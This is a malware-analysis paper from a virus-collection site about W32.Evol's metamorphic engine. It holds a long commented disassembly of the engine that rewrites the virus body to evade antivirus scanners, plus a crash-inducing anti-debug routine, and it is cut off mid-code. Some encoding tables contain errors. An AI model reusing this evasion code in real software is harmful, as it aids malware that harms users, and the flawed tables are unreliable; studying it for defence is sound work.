Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

The Viral Darwinism of W32.Evol

Orr
OpenRCE
January 2006

1
[Back to index] [Comments]

Introduction

The W32.Evol virus was discovered around July 2000. Its name is derived from a string found in the virus, but much more can be implied from the name. Up until then, most of the viruses were using Polymorphic engines in order to hide themselves from Anti-Virus scanners. The engine would encrypt the virus with a different key on every generation, and would generate a small, variant decryptor that would consist of different operations but remain functionally equivalent. This technique was beginning to wear out as AV scanners would trace virus-decryption until it was decrypted in memory, visible and clear.

Although Metamorphism, as a technique, appeared in several viruses in the DOS age, it got full attention from virus writers in the 32-bit environment. The idea is simple; Transformation instead of Encryption. Not just a small decryptor would be transformed, but the entire virus body.

A Metamorphic engine is used in order to transform executable (binary) code. The behavior of such an engine varies from virus to virus, but many elements remain the same. A metamorphic engine has to implement some sort of an internal disassembler in order to parse the input code. After disassembly, the engine will transform the program code and will produce new code that will retain its functionality and yet will look different from the original code.

According to Symantec, Evol was the first virus to utilize a 'true' 32-bit Metamorphic Engine, and so it represents another step in the evolution of Anti-AV techniques.

Virus Author's Note: "The only particularity of Evol is its evolution engine - meaning that the virus will mutate every 4 copy of itself. The engine is not an usual polymorphic engine, but rather a metamorphic engine (see Benny description in 29A #4), which means that there is no encrypted code: the whole code of the virus, engine included, is variable. Furthermore, the engine inserts random code, so as to make detection by antivirus more difficult. The virus contains no fixed data : it is only a massive piece of code."

The research I performed over the Metamorphic engine includes a heavily-commented disassembly of the engine available here. Information regarding the behavior of the virus itself is not included in this paper and is available on many Antivirus websites on the Internet, namely the http://www.symantec.com/security_response/writeup.jsp?docid=2000-122010-0045-99 website.

Legend

Examples in this paper include shortened naming of assembly language expressions:

	Reg – Register (i.e. EAX, EBX)
	Mem – Memory address (i.e. [EAX])
	r/m – Register or Memory
	imm – Immediate Value (i.e. OP Reg, ACABh)
	OP  = {ADC, ADD, AND, CMP, OR, SBB, SUB, XOR}
	OP1 = {DIV, IDIV, IMUL, MUL, NEG, NOT, TEST}
	OP2 = {RCL, RCR, ROL, ROR, SAL, SAR, SHL, SHR}

Calling

The engine is called in the following standard-issue fashion:

        push    [ebp+var_14]            ; *outBuf (EDI)
        call    GetSizeOfCode
        push    eax                     ; sizeOfCode
        call    SeekStartOfVirus
        push    eax                     ; *inBuf (ESI)
        call    MetaEngine
        cmp     eax, 0
        jz      short EngineFailed
 

Or, in pseudo-C:

MetaEngine(*inBuf, sizeOfCode, *outBuf);

Where, *inBuf is a pointer to the code, sizeOfCode is the size, *outBuf is the output to the destination buffer where the mutated code will be stored.

Code Analysis

The engine will perform a analysis over the given code. Aside from on-the-fly disassembly, the virus will allocate 4 table entries for each instruction it analyzes. Each of the entries is a double-word. The structure is accessed in the following way:

+00InputIPPointer to Instruction in the Input Buffer
+04OutputIPPointer to Mutated Instruction in Output Buffer
+08OffsetNewRelativePointer to offset of New Relative Branch Value
+0CNewRelativeNew Relative Value for a Branch Instruction

When the engine first loads, it will use allocate SizeOfCode*16 bytes using VirtualAlloc for the purpose of the above-mentioned table. In the end, theses bytes will be freed using VirtualFree. The virus itself uses internal 'caller' functions (callVirtualAlloc / callVirtualFree), and doesn't call the API's directly.

Every time the engine loads a new instruction for analysis, the first two members of the structure are filled, and the 3rd member is zeroed for later use. The 3rd and 4th fields will only be filled in case the engine analyzes a branch instruction (JMP/Jcc/CALL), to be used when the relocations will be fixed, after the mutation process is complete.

The engine will disassemble only instructions that the author had included, meaning it would fail with unrecognized / unsupported instructions.

Sample Disassembly:

        cmp     al, 8Ah                 ; MOV r8, r/m8?
        jz      short _Mutate?
        cmp     al, 8Bh                 ; MOV r32, r/m32?
        jz      short _Mutate?
        cmp     al, 8Dh                 ; LEA r32, mem?
        jz      short _Mutate?
 

As you can see, the engine simply checks for the current opcode, and if it is recognized by the engine, it will take an action accordingly.

Code Transformations

Instruction Transformation

The engine supports several kinds of instruction mutations, meaning it will write different code with the same functionality. The defined transformations are divided into two parts:

The engine's decision whether to transform a given instruction or not is based upon a random factor. The engine asks for a random number between 0 and 7, and the transformation will be applied only if it is 0 – meaning a probability of 1/8.

Alternative Instruction Encoding

The Intel instruction format allows different binary encoding for the same action. The engine supports the following alternative encodings:

Original EncodingModified EncodingMnemonics
7x imm80F 8x imm32Jcc shortJcc near
EB imm8E9 imm32CALL shortCALL near
A8 imm8F6 C0 imm8TEST AL, imm8TEST AL, imm8
A9 imm32F7 C0 imm32TEST EAX, imm32TEST EAX, imm32
3F imm880 ModRM imm8OP AL, imm8OP AL, imm8
3F imm3281 ModRM imm32OP EAX, imm32OP EAX, imm32
83 ModRM imm881 ModRM imm32OP r/m32, imm8OP r/m32, imm32

Fixed Transformations

The engine will replace the following bytes with the corresponding sequences:

Original EncodingModified EncodingMnemonics
A4
50
8A 06
83 C6 01
88 07
83 C7 01
58
MOVSB
PUSH EAX
MOV AL, [ESI]
ADD ESI, 1
MOV [EDI], AL
ADD EDI, 1
POP EAX
A5
50
8B 06
83 C6 04
89 07
83 C7 04
58
MOVSD
PUSH EAX
MOV [EAX], ESI
ADD ESI, 4
MOV [EDI], EAX
ADD EDI, 4
POP EAX
AA
88 07
83 C7 01
STOSB
MOV EDI, [AL]
ADD EDI, 1
AB
88 07
83 C7 04
STOSD
MOV EDI, [EAX]
ADD EDI, 4
AC
8A 06
83 C6 01
LODSB
MOV AL, [ESI]
ADD ESI, 1
AD
8A 06
83 C6 04
LODSD
MOV EAX, [ESI]
ADD ESI, 4

As you can see, these instructions do not have any parameters passed onto them, thus simply being replaced with their corresponding functionality.

Junk-Code Insertion

The engine will generate instructions that are not reliant upon the original code, and their functionality is essentially "do-nothing". The junk instructions will only be added if the last written byte is between 50h to 52h (PUSH EAX/ECX/EDX).

	- MOV	r32, [ebp+Random8]
	- MOV	r32, Random32
	- OP	r32, Random32		;ADC/ADD/AND/OR/SBB/SUB/XOR
	- MOV	RandomReg8, Random8

It may be noted, however, that these instructions actually do alter the original code flow as they are random and inserted in places in which they will be executed, but these instructions are inserted after PUSH instructions, so we assume the registers will be modified later on.

General Instructions

In any other case the engine will store the instruction as is, aside from exceptional opcodes:

OpcodeMnemonicsAction
90
NOP
Don't store
0F xx
(80 > xx > 90)
Special Opcode 0F Not supported by engineAbort Engine
CC
INT 3 (Debugger Breakpoint)
Anti Debug
81 C4
ADD ESP, imm32
Store
81 EC
SUB ESP, imm32
Store
83 C4
ADD ESP, imm8
Store
83 EC
ADD ESP, imm8
Store
C0
OP2 r/m8, imm8
Store
D0
OP2 r/m8, imm8
Store
CD
INT
Store
8B EC
MOV EBP, ESP
Store
F3
REP Prefix
Store
C3
RET
Store
50 – 5F
PUSH r32 / POP r32
Store

Relocation Fixups

After the mutation process is completed, the engine fixes instruction relocations. Due to the fact that many times the transformation process results in growth of code, most (if not all) of the branch instructions will lead to an incorrect place in the destination buffer. The engine will utilize the relocation-table it created during the mutation process, and it will patch the new address into place. First, it will loop through the table. For every instruction it will add the 1st and 4th fields (InputIP + NewRelative), thus calculating a virtual original destination. It will then set a second loop that will search for that destination, and patch the entry using the 3rd and 4th fields.

Other Features

Anti Debugging

If the engine will detect a breakpoint over the code it mutates, it will jump to the following routine:

AntiDebug:
        cmp     byte ptr [ebx+7], 0BFh  ; are we in kernel mode?
        jnz     short ret_AntiDebug
        mov     ecx, 1000h              ; counter = 1000h
        mov     edi, 40000000h
        or      edi, 80000000h
        add     edi, ecx                ; edi = C0001000h
        rep stosd                       ; copy bytes to [edi]
ret_AntiDebug:
        retn                            ; this will result in a crash
 

The above routine can also be considered as 'external', as it is called from the main virus body as well as from the engine.

Internal Functions

The engine contains several functions that it uses for many actions:

Sample Transformations

Presented below are the actual transformations performed by the engine on itself.

	B9 00 10 00 00		mov ecx, 1000h

Transformed:

	B9 10 B2 00 3C		mov ecx, 3C00B210h
	81 C1 F0 5D FF C3	add ecx, 0C3FF5DF0h ; ecx = 1000h

Some of the "external" transformations:

BeforeAfter
8B 45 0C	mov eax, [ebp+0Ch]
56		push esi
89 EE		mov esi, ebp
83 C6 56	add esi, 56h
8B 46 B6	mov eax, [esi-4Ah]
5E		pop esi
89 43 08	mov [ebx+8], eax
51		push ecx
8B C8		mov ecx, eax
89 4B 08	mov [ebx+8], ecx
59		pop ecx
33 C0		xor eax, eax
51		push ecx
89 C1		mov ecx, eax
33 C8		xor ecx, eax
8B C1		mov eax, ecx
59		pop ecx
80 F9 50	cmp cl, 50h
52		push edx
B2 50		mov dl, 50h
38 D1		cmp cl, dl
5A		pop edx

As you can see in the above examples, the mutated byte-sequences are entirely different then the original ones.

Conclusion

The analysis of the virus engine took me a lot of time, mainly due to the fact that it was done statically, without running the code. I hope this paper helps to shed more light on the idea of how metamorphism is done, as well as the aspects involved in the design of such an engine. Further, I'd like to thank the author of this engine, for creating this piece of code that enhanced my interest in this particular field. I encourage you to look over the reversed source-code of the engine, as it will probably make all things written above a little bit more clear.

Thanks for reading this. As always, any feedback is always welcome.

Orr, November 2006
[email protected] - www.antilife.org/

Disassembly

; ___________________________________________________________________________
; _     This file is generated by The Interactive Disassembler (IDA)    _
; _     Copyright (c) 2005 by DataRescue sa/nv, <[email protected]>    _
; ___________________________________________________________________________
;
; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine

AntiDebug:                                      ; CODE XREF: CODE:00401068j
                                                ; MetaEngine+1E9j
                cmp     byte ptr [ebx+7], 0BFh  ; are we in kernel mode?
                jnz     short ret_AntiDebug
                mov     ecx, 1000h              ; counter = 1000h
                mov     edi, 40000000h
                or      edi, 80000000h
                add     edi, ecx                ; edi = C0001000h
                rep stosd                       ; copy bytes to edi

ret_AntiDebug:                                  ; CODE XREF: MetaEngine-17j
                retn                            ; return
; END OF FUNCTION CHUNK FOR MetaEngine          ; this will result in a crash
                                                ; since this routine wasn't CALLed

; _______________ S U B R O U T I N E _______________________________________

; Attributes: bp-based frame

MetaEngine      proc near                       ; CODE XREF: Infect+11Bp

RelocStart      = dword ptr -8
RelocCurrent    = dword ptr -4
inBuf           = dword ptr8
sizeOfCode      = dword ptr0Ch
outBuf          = dword ptr10h

                push    ebp
                mov     ebp, esp
                sub     esp, 8
                push    ebx
                push    esi                     ; save registers
                push    edi
                mov     eax, [ebp+sizeOfCode] ; eax = size of code
                shl     eax, 4                  ; multiply by 16
                push    eax
                call    callVirtualAlloc        ; allocate memory
                mov     [ebp+RelocStart], eax   ; save pointer
                mov     [ebp+RelocCurrent], eax
                mov     esi, [ebp+inBuf]        ; esi = *source buffer
                mov     edi, [ebp+outBuf]       ; edi = *destination buffer

Loadestruction:                                 ; CODE XREF: MetaEngine+52j
                                                ; MetaEngine+ABj ...
                mov     ebx, [ebp+RelocCurrent]
                add     [ebp+RelocCurrent], 10h ; allocate 16 bytes for each instruction
                mov     [ebx], esi              ; set Pointer to Instruction in the Input Buffer
                mov     [ebx+4], edi            ; set Pointer to Mutated Instruction in Output Buffer
                xor     eax, eax                ; eax = 0
                mov     [ebx+8], eax            ; set Pointer to offset of New Relative = 0
                cmp     esi, [ebp+inBuf]        ; are we in the beginning of the code?
                jz      isJccShort              ; yes, start analyzing the code
                mov     eax, esi                ; eax = *current instruction
                sub     eax, [ebp+inBuf]        ; eax -= *start address
                cmp     eax, [ebp+sizeOfCode]   ; are we done?
                jnb     FixRelocations
                mov     al, [esi]               ; al = opcode
                cmp     al, 90h                 ; NOP?
                jnz     short isPushR32
                add     esi, 1                  ; increase counter (instruction not stored)
                jmp     short Loadestruction    ; load next instruction
; ___________________________________________________________________________

isPushR32:                                      ; CODE XREF: MetaEngine+4Dj
                mov     cl, [edi-1]             ; cl = last written byte
                cmp     cl, 50h                 ; PUSH EAX?
                jb      isJccShort
                cmp     cl, 52h                 ; PUSH EAX/ECX/EDX?
                ja      isJccShort
                mov     eax, [ebx]              ; eax = [ebx] = [[DisasmCurrent]]
                sub     eax, [ebx-10h]          ; eax -= [[DisasmCurrent]-16]
                cmp     eax, 1                  ; was it only a 1-byte instruction?
                jnz     isJccShort              ; no, disasm next instruction
                call    Rnd7                    ; returns random eax (0 to 7)
                jnz     isJccShort              ; mutate?
                sub     cl, 50h                 ; get the register used

MutatePush:                                     ; CODE XREF: MetaEngine+D0j
                                                ; MetaEngine+EAj
                call    Random                  ; get random number
                and     al, 3                   ; make it between 0 - 3
                cmp     al, 1                   ; al = 1?
                jz      short MakeMovRegRandom32
                cmp     al, 2                   ; al = 2?
                jz      short MakeOpRegRandomReg
                cmp     al, 3                   ; al = 3?
                jz      short MakeMovRegRandom8
                mov     al, 8Bh                 ; al = MOV r32, r/m32
                stosb                           ; store
                mov     al, cl                  ; al = register
                rol     al, 3                   ; place it in the [reg/opcode] field
                or      al, 1000101b            ; set [mod] = 01, [reg] = 101 (ebp)
                stosb                           ; store
                call    Random                  ; get random number
                and     al, 3Ch                 ; make it between 0 to 3C
                stosb                           ; store
                jmp     Loadestruction
; ___________________________________________________________________________

MakeMovRegRandom32:                             ; CODE XREF: MetaEngine+8Ej
                mov     al, cl                  ; al = register
                add     al, 0B8h                ; MOV r32,imm32
                stosb                           ; store
                call    GetRandomDword          ; get random dword
                stosd                           ; store dword
                jmp     Loadestruction
; ___________________________________________________________________________

MakeOpRegRandomReg:                             ; CODE XREF: MetaEngine+92j
                call    Random                  ; get random number
                mov     ah, al                  ; save it in ah
                or      ah, 11000000b           ; set [mod] = 11
                and     ah, 11111000b           ; clear [reg] field
                cmp     ah, 11111000b           ; is [reg/opcode] == 111 (CMP)?
                jz      short MutatePush        ; try another mutation
                mov     al, 81h                 ; al = OP r/m32, imm32
                                                ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                stosb                           ; store
                mov     al, ah                  ; al = random ModRM
                add     al, cl                  ; add register
                stosb                           ; store
                call    GetRandomDword          ; get random dword
                stosd                           ; store dword
                jmp     Loadestruction
; ___________________________________________________________________________

MakeMovRegRandom8:                              ; CODE XREF: MetaEngine+96j
                mov     al, [edi-1]             ; al = last written opcode
                cmp     al, 54h                 ; PUSH ESP/EBP/ESI/EDI?
                jnb     short MutatePush        ; avoid
                call    Random                  ; get random number
                and     al, 100b                ; make it 0 to 4
                add     al, cl                  ; add register
                add     al, 0B0h                ; al = MOV r8, imm8
                stosb                           ; store
                call    Random                  ; get random byte
                stosb                           ; store
                jmp     Loadestruction
; ___________________________________________________________________________

isJccShort:                                     ; CODE XREF: MetaEngine+35j
                                                ; MetaEngine+5Aj ...
                mov     al, [esi]               ; al = opcode
                cmp     al, 70h                 ; is it a Jcc?
                jb      short isBranchShort
                cmp     al, 80h                 ; if it's between 70h to 7Fh, it is a Jcc
                jb      short ModifyJcc
                cmp     al, 0EBh                ; is it a JMP short?
                jnz     short isBranchShort
                mov     al, 0E9h                ; Generate a JMP near
                jmp     short ModifyJccAddress
; ___________________________________________________________________________

ModifyJcc:                                      ; CODE XREF: MetaEngine+10Bj
                mov     byte ptr [edi], 0Fh     ; set 0F opcode
                add     al, 10h                 ; add 10h
                                                ; (70 xx= JO short xx)
                                                ; (0F 80 xx = JO near    xx)
                add     edi, 1                  ; increase output counter

ModifyJccAddress:                               ; CODE XREF: MetaEngine+113j
                stosb                           ; store
                mov     [ebx+8], edi            ; save edi in the OffsetNewRelative field
                mov     al, [esi+1]             ; al = relative address
                add     al, 2                   ; al += 2, because we added two bytes
                call    InvertSign
                mov     [ebx+0Ch], eax          ; save eax in the NewRelative field
                add     esi, 2                  ; increase code pointer by 2
                add     edi, 4                  ; increase output pointer by 4 (dword)
                jmp     Loadestruction
; ___________________________________________________________________________

isBranchShort:                                  ; CODE XREF: MetaEngine+107j
                                                ; MetaEngine+10Fj
                cmp     al, 0E8h                ; a CALL short?
                jz      short ModifyBranchAddress
                cmp     al, 0E9h                ; a JMP short?
                jz      short ModifyBranchAddress
                cmp     al, 0Fh                 ; a special opcode 0F?
                jnz     short isEspUsed
                mov     cl, [esi+1]             ; get next byte
                cmp     cl, 80h                 ; Jcc near?
                jb      AbortEngine             ; is it between 80h and 90h?
                cmp     cl, 90h                 ; The engine doesn't support 0F xx instructions
                jnb     AbortEngine
                stosb                           ; store 0F opcode
                add     esi, 1                  ; increase code pointer
                mov     al, cl                  ; al = second opcode

ModifyBranchAddress:                            ; CODE XREF: MetaEngine+13Bj
                                                ; MetaEngine+13Fj
                stosb                           ; save branch type
                mov     [ebx+8], edi            ; save edi in the OffsetNewRelative field
                add     esi, 1                  ; increase code pointer
                lodsd                           ; load the address
                add     eax, 4                  ; eax += 4
                sub     eax, [ebx+4]            ; get OutputIP
                add     eax, edi                ; add OutputBuffer
                mov     [ebx+0Ch], eax          ; save eax in the NewRelative field
                add     edi, 4                  ; increase output pointer by 4 (dword)
                jmp     Loadestruction
; ___________________________________________________________________________

isEspUsed:                                      ; CODE XREF: MetaEngine+143j
                cmp     al, 81h                 ; OP r/m32, imm32?
                                                ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                jnz     short isRet_isC0_is83
                mov     ah, [esi+1]             ; ah = ModRM
                cmp     ah, 0C4h                ; ADD ESP, imm32?
                jz      short Store6Bytes       ; avoid
                cmp     ah, 0ECh                ; SUB ESP, imm32?
                jnz     short isRet_isC0_is83   ; avoid

Store6Bytes:                                    ; CODE XREF: MetaEngine+185j
                mov     cl, 6
                jmp     StoreBytes
; ___________________________________________________________________________

isRet_isC0_is83:                                ; CODE XREF: MetaEngine+17Dj
                                                ; MetaEngine+18Aj
                cmp     al, 0C3h                ; RET?
                jnb     short isD0_D4
                cmp     al, 0C0h                ; OP r/m8, imm8?
                                                ; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR)
                jnb     short Store3Bytes
                cmp     al, 83h                 ; OP r/m32, imm8?
                                                ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
                jnz     short isD0_D4
                mov     ah, [esi+1]             ; ah = ModRM
                cmp     ah, 0C4h                ; ADD ESP, imm8?
                jz      short Store3Bytes       ; avoid
                cmp     ah, 0ECh                ; SUB ESP, imm8?
                jnz     short isD0_D4           ; avoid

Store3Bytes:                                    ; CODE XREF: MetaEngine+199j
                                                ; MetaEngine+1A5j
                mov     cl, 3
                jmp     StoreBytes
; ___________________________________________________________________________

isD0_D4:                                        ; CODE XREF: MetaEngine+195j
                                                ; MetaEngine+19Dj ...
                cmp     al, 0D0h                ; OP r/m8, imm8?
                                                ; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR)
                jb      short iset_isMovEbpEsp
                cmp     al, 0D4h                ; D0 - D3
                jb      short Store2Bytes       ; avoid

iset_isMovEbpEsp:                               ; CODE XREF: MetaEngine+1B5j
                cmp     al, 0CDh                ; INT?
                jz      short Store2Bytes       ; avoid
                cmp     al, 8Bh                 ; MOV r32, r/m32?
                jnz     short isRep_isF6_isF7
                cmp     byte ptr [esi+1], 0ECh  ; 8B EC = MOV EBP, ESP
                jz      short CheckRegOpcodeField

isRep_isF6_isF7:                                ; CODE XREF: MetaEngine+1C1j
                cmp     al, 0F3h                ; REP prefix?
                jz      short Store2Bytes       ; avoid
                cmp     al, 0F6h                ; OP r/m8?
                                                ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST)
                jz      short CheckRegOpcodeField
                cmp     al, 0F7h                ; OP r/m32?
                                                ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST)
                jnz     short iset3_Ret_PushReg

CheckRegOpcodeField:                            ; CODE XREF: MetaEngine+1C7j
                                                ; MetaEngine+1CFj
                mov     ah, [esi+1]             ; ah = ModRM
                and     ah, 111000b             ; save [reg/opcode] field
                cmp     ah, 0                   ; is it empty?
                jz      short iset3_Ret_PushReg ; yes, skip

Store2Bytes:                                    ; CODE XREF: MetaEngine+1B9j
                                                ; MetaEngine+1BDj ...
                mov     cl, 2
                jmp     StoreBytes
; ___________________________________________________________________________

iset3_Ret_PushReg:                              ; CODE XREF: MetaEngine+1D3j
                                                ; MetaEngine+1DEj
                cmp     al, 0CCh                ; INT 3?
                jz      AntiDebug
                cmp     al, 0C3h                ; RET?
                jz      short StoreOneByteOpcode
                cmp     al, 50h                 ; PUSH r32 / POP r32?
                jb      short isMovTestRmReg
                cmp     al, 60h                 ; check if it's between 50 to 60
                jnb     short isMovTestRmReg

StoreOneByteOpcode:                             ; CODE XREF: MetaEngine+1F1j
                movsb                           ; copy one byte from source to destination
                jmp     Loadestruction
; ___________________________________________________________________________

isMovTestRmReg:                                 ; CODE XREF: MetaEngine+1F5j
                                                ; MetaEngine+1F9j
                cmp     al, 88h                 ; MOV r/m8, r8?
                jz      short Mutate?
                cmp     al, 89h                 ; MOV r/m32, r32?
                jz      short Mutate?
                cmp     al, 84h                 ; TEST r/m8, r8?
                jz      short Mutate?
                cmp     al, 85h                 ; TEST r/m32, r32?
                jz      short Mutate?
                cmp     al, 40h                 ; is opcode &lt; 40?
                jnb     short isMovLeaRegRm
                mov     ah, al                  ; ah = opcode
                and     ah, 111b                ; save last 3 bits
                cmp     ah, 0                   ; OP r/m8, r8
                jz      short Mutate?
                cmp     ah, 1                   ; OP r/m32, r32?
                jnz     short isMovLeaRegRm

Mutate?:                                        ; CODE XREF: MetaEngine+203j
                                                ; MetaEngine+207j ...
                call    Rnd7                    ; returns random eax (0 to 7)
                jz      short CheckModRM        ; mutate if eax = 0 (1/8 probability)
                jmp     StoreDisplacementPlus2  ; else, skip this instruction
; ___________________________________________________________________________

CheckModRM:                                     ; CODE XREF: MetaEngine+229j
                mov     cl, [esi+1]             ; cl = ModRM
                and     cl, 11000000b           ; save the [mod] field
                cmp     cl, 0                   ; [mod] == 00?
                jz      short jmp_Mutate
                cmp     cl, 11000000b           ; [mod] == 11?
                jz      short jmp_Mutate
                call    Random                  ; get random number
                and     al, 1                   ; make it 0 or 1
                cmp     al, 0                   ; is it 0?
                jz      Morph1                  ; mutate

jmp_Mutate:                                     ; CODE XREF: MetaEngine+239j
                                                ; MetaEngine+23Ej
                jmp     Morph2                  ; mutate
; ___________________________________________________________________________

isMovLeaRegRm:                                  ; CODE XREF: MetaEngine+213j
                                                ; MetaEngine+222j
                cmp     al, 8Ah                 ; MOV r8, r/m8?
                jz      short _Mutate?
                cmp     al, 8Bh                 ; MOV r32, r/m32?
                jz      short _Mutate?
                cmp     al, 8Dh                 ; LEA r32, mem?
                jz      short _Mutate?
                cmp     al, 40h                 ; is opcode &lt; 40?
                jnb     short isFE_isFF
                mov     ah, al
                and     ah, 111b                ; keep last 3 bits
                cmp     ah, 2                   ; OP r8, r/m8?
                jz      short _Mutate?
                cmp     ah, 3                   ; OP r32, r/m32?
                jnz     short isFE_isFF

_Mutate?:                                       ; CODE XREF: MetaEngine+256j
                                                ; MetaEngine+25Aj ...
                call    Rnd7                    ; returns random eax (0 to 7)
                jz      short _CheckModRM       ; mutate if eax = 0 (1/8 probability)
                jmp     StoreDisplacementPlus2  ; else, skip this instruction
; ___________________________________________________________________________

_CheckModRM:                                    ; CODE XREF: MetaEngine+278j
                mov     cl, [esi+1]             ; cl = ModRM
                and     cl, 11000000b           ; save the [mod] field
                cmp     cl, 0                   ; [mod] == 00?
                jz      short _jmp_Mutate
                cmp     cl, 11000000b           ; [mod] == 11?
                jz      short _jmp_Mutate
                call    Random                  ; get random number
                and     al, 1                   ; make it 1 or 0
                cmp     al, 0                   ; is it zero?
                jz      Morph1                  ; mutate

_jmp_Mutate:                                    ; CODE XREF: MetaEngine+288j
                                                ; MetaEngine+28Dj
                jmp     Morph3                  ; mutate
; ___________________________________________________________________________

isFE_isFF:                                      ; CODE XREF: MetaEngine+262j
                                                ; MetaEngine+271j
                cmp     al, 0FEh                ; INC/DEC r/m8?
                jz      short MakeMovRegPushReg
                cmp     al, 0FFh                ; OP r/m32?
                                                ; (INC/DEC/JMP/CALL/PUSH)
                jnz     short isMovReg8Imm8?

MakeMovRegPushReg:                              ; CODE XREF: MetaEngine+2A5j
                mov     al, [esi+1]             ; al = ModRM
                and     al, 111000b             ; keep the [reg/opcode] field
                ror     al, 3                   ; place it in the [reg] field
                cmp     al, 111b                ; opcode == 111?
                jz      AbortEngine             ; exit engine
                cmp     al, 110b                ; opcode != 110 (PUSH)?
                jnz     StoreDisplacementPlus2  ; skip
                mov     al, 8Bh                 ; Generate MOV EAX, r/m32
                stosb                           ; store
                mov     al, [esi+1]             ; al = ModRM
                and     al, 11000111b           ; keep [mod] and [reg] fields
                                                ; set [reg/opcode] = 000
                stosb                           ; store ModRM byte
                call    CheckDisplacement       ; returns cl: 0, 1 or 4
                add     esi, 2                  ; increase code counter by 2
                rep movsb                       ; store address
                mov     al, 50h                 ; Generate PUSH EAX
                stosb                           ; store
                jmp     Loadestruction
; ___________________________________________________________________________

isMovReg8Imm8?:                                 ; CODE XREF: MetaEngine+2A9j
                cmp     al, 0B0h                ; MOV r8, imm8?
                jb      short isMovReg32Imm32
                cmp     al, 0B8h                ; check if it's between B0 to B8
                jnb     short isMovReg32Imm32
                call    Rnd7                    ; returns random eax (0 to 7)
                jz      short MakeAddRegRandom8 ; mutate?
                mov     cl, 2                   ; skip
                jmp     StoreBytes
; ___________________________________________________________________________

MakeAddRegRandom8:                              ; CODE XREF: MetaEngine+2EBj
                                                ; MetaEngine+2FBj
                call    Random                  ; get random
                and     al, 11b                 ; make it between 1 - 3
                jz      short MakeAddRegRandom8 ; if it's zero, try again
                mov     dh, al                  ; dh = random selection
                movsb                           ; store opcode
                call    Random                  ; get random number
                mov     cl, al                  ; save it in CL
                stosb                           ; store random byte
                mov     al, 80h                 ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR
                stosb                           ; store operation
                mov     al, [esi-1]             ; get original instruction opcode
                sub     al, 0B0h                ; subtract opcode, al = register used
                cmp     dh, 2                   ; if random == 2, Generate SUB
                jz      short MakeSubRegRandom8
                cmp     dh, 3                   ; if random == 3, Generate XOR
                jz      short MakeXorRegRandom8
                or      al, 11000000b           ; Generate ADD (ModRM = 11 000 reg)
                stosb                           ; store ModRM
                lodsb                           ; load the original immediate value
                sub     al, cl                  ; subtract the random value
                stosb                           ; store
                jmp     Loadestruction
; ___________________________________________________________________________

MakeSubRegRandom8:                              ; CODE XREF: MetaEngine+313j
                or      al, 11101000b           ; Generate SUB (ModRM = 11 101 reg)
                stosb                           ; store ModRM
                lodsb                           ; load the original immediate value
                sub     al, cl                  ; al -= random value
                mov     ah, al                  ; save al in ah
                mov     al, 0
                sub     al, ah                  ; al = -al
                stosb                           ; store
                jmp     Loadestruction
; ___________________________________________________________________________

MakeXorRegRandom8:                              ; CODE XREF: MetaEngine+318j
                or      al, 11110000b           ; Generate XOR (ModRM = 11 110 reg)
                stosb                           ; store ModRM
                lodsb                           ; load the original immediate value
                xor     al, cl                  ; xor the value with a random value
                stosb                           ; store
                jmp     Loadestruction
; ___________________________________________________________________________

isMovReg32Imm32:                                ; CODE XREF: MetaEngine+2E0j
                                                ; MetaEngine+2E4j
                cmp     al, 0B8h                ; MOV r32, imm32?
                jb      short MakeMovPush1
                cmp     al, 0C0h                ; check if it's between B8 - C0
                jnb     short MakeMovPush1
                call    Rnd7                    ; returns random eax (0 to 7)
                jz      short MakeAddRegRandom32; mutate?
                mov     cl, 5                   ; skip
                jmp     StoreBytes
; ___________________________________________________________________________

MakeAddRegRandom32:                             ; CODE XREF: MetaEngine+351j
                                                ; MetaEngine+363j
                call    Random                  ; get random number
                and     al, 11b                 ; make it between 1 - 3
                cmp     al, 0                   ; if it's zero,
                jz      short MakeAddRegRandom32; then try again
                mov     ah, al                  ; ah = random selection
                movsb                           ; store opcode
                call    GetRandomDword          ; returns a random dword in EAX
                mov     ecx, eax                ; ecx = random dword
                stosd                           ; store random dword
                mov     al, 81h                 ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR
                stosb                           ; store operation
                mov     al, [esi-1]             ; get original instruction opcode
                sub     al, 0B8h                ; get the register used
                cmp     al, 2                   ; if random == 2, Generate SUB
                jz      short MakeSubRegRandom32
                cmp     al, 3                   ; if random == 3, Generate XOR
                jz      short MakeXorRegRandom32
                or      al, 11000000b           ; Generate ADD (ModRM = 11 000 reg)
                stosb                           ; store ModRM
                lodsd                           ; load the original immediate value
                sub     eax, ecx                ; subtract the random value
                stosd                           ; store
                jmp     Loadestruction
; ___________________________________________________________________________

MakeSubRegRandom32:                             ; CODE XREF: MetaEngine+37Aj
                or      al, 11101000b           ; Generate SUB (ModRM = 11 101 reg)
                stosb                           ; store ModRM
                lodsd                           ; load the original immediate value
                sub     eax, ecx                ; eax -= random
                mov     ecx, eax                ; save eax
                mov     eax, 0
                sub     eax, ecx                ; eax = -eax
                stosd                           ; store
                jmp     Loadestruction
; ___________________________________________________________________________

MakeXorRegRandom32:                             ; CODE XREF: MetaEngine+37Ej
                or      al, 11110000b           ; Generate XOR (ModRM = 11 110 reg)
                stosb                           ; store ModRM
                lodsd                           ; load the original immediate value
                xor     eax, ecx                ; xor the value with a random value
                stosd                           ; store
                jmp     Loadestruction
; ___________________________________________________________________________

MakeMovPush1:                                   ; CODE XREF: MetaEngine+346j
                                                ; MetaEngine+34Aj
                cmp     al, 68h                 ; PUSH imm32?
                jnz     short MakeMovPush2
                add     esi, 1                  ; increase code pointer
                mov     al, 0B8h                ; Generate MOV r32, imm32
                stosb                           ; store
                movsd                           ; write next 4 bytes
                mov     al, 50h                 ; Generate PUSH r32
                stosb                           ; store
                jmp     Loadestruction
; ___________________________________________________________________________

MakeMovPush2:                                   ; CODE XREF: MetaEngine+3AFj
                cmp     al, 6Ah                 ; PUSH imm8?
                jnz     short MakeMOVSB
                add     esi, 1                  ; increase code pointer
                mov     al, 0B8h                ; make MOV r32, imm32
                stosb                           ; store
                lodsb                           ; load byte (imm8)
                call    InvertSign
                stosd                           ; store dword (imm32)
